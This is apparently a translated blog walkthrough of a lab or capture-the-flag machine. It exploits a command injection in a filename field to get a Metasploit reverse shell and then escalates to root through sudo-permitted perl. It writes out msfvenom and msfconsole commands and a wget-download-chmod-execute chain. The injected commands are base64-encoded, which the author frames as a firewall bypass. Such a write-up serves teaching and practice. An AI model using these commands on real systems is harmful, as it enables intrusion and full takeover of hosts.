Command injection vulnerability (2)

Command injection vulnerability (2)

  1. In fact, in addition to using the aforementioned EXP file to exploit the vulnerability, we can also use the famous metasploit to exploit the vulnerability.
  • These signs indicate that they are all vulnerabilities that can be exploited using metasploit
    Insert picture description here
  1. Open msfconsole for vulnerability exploitation and monitoring
msfconsole
set payload linux/x86/meterpreter_reverse_tcp
set lhost 192.168.101.45
exploit

Insert picture description here

  1. Generate a static load for shell rebound
msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.101.45 lport=4444 -f elf > /var/www/html/shell

Insert picture description here

  1. Because the target machine needs to download the webshell of the machine to obtain the corresponding permissions, the apache2 service must be turned on
service apache2 start
service apache2 status

Insert picture description here

  1. Because in actual combat, we are often blocked by firewalls for some operations, so we use base64 encryption here to encrypt our commands to bypass the firewall.
  • Note: Why use -O to redirect to the /tmp directory? Because the tmp directory has readable permissions for any user
echo 'wget http://本机ip/shell -O /tmp/shell' | base64

Insert picture description here

  • Then elevate the permissions of the file and give the highest permissions
echo 'chmod 777 /tmp/shell' | base64

Insert picture description here

  • Then execute the webshell file
echo '/tmp/shell'|base64

Insert picture description here

  1. Use burpsuite to capture the package, replace the value of the filename variable, and click send
    Insert picture description here
  • Because if the value of filename is changed twice in the same window here, the server will redirect the request, so we must re-capture the packet and modify the value of filename multiple times. In order to prevent errors, I created three new ones. csv file
    Insert picture description here
    Insert picture description here
  • The shell rebounds successfully.
    Insert picture description here
    Note: The editor also tried many times before it succeeded. If one fails, try many times. Sometimes it is human error, sometimes it is a server problem. Once the response appears 302, it proves that the operation failed.
  1. After entering, use the shell command to view the current user and find that it is the www-data account
    Insert picture description here
  • Use sudo -l to view which user files the current user has executed by the super administrator
  • Found that the perl file can be executed using the perl command
    Insert picture description here
  • Let's perform the operation
perl -e "exec '/bin/bash' "
bash -i
  • The privilege is successfully elevated, enter /root to view the content of flag.txt
    Insert picture description here
    Insert picture description here

Summary: In fact, using metasploit can indeed improve the efficiency of exploiting the vulnerability, but the key point is to bypass the firewall. In actual combat, some operations are often filtered by the firewall. Therefore, the use of base64 encryption is a very common bypass operation .

Guess you like

Origin blog.csdn.net/weixin_45007073/article/details/112602950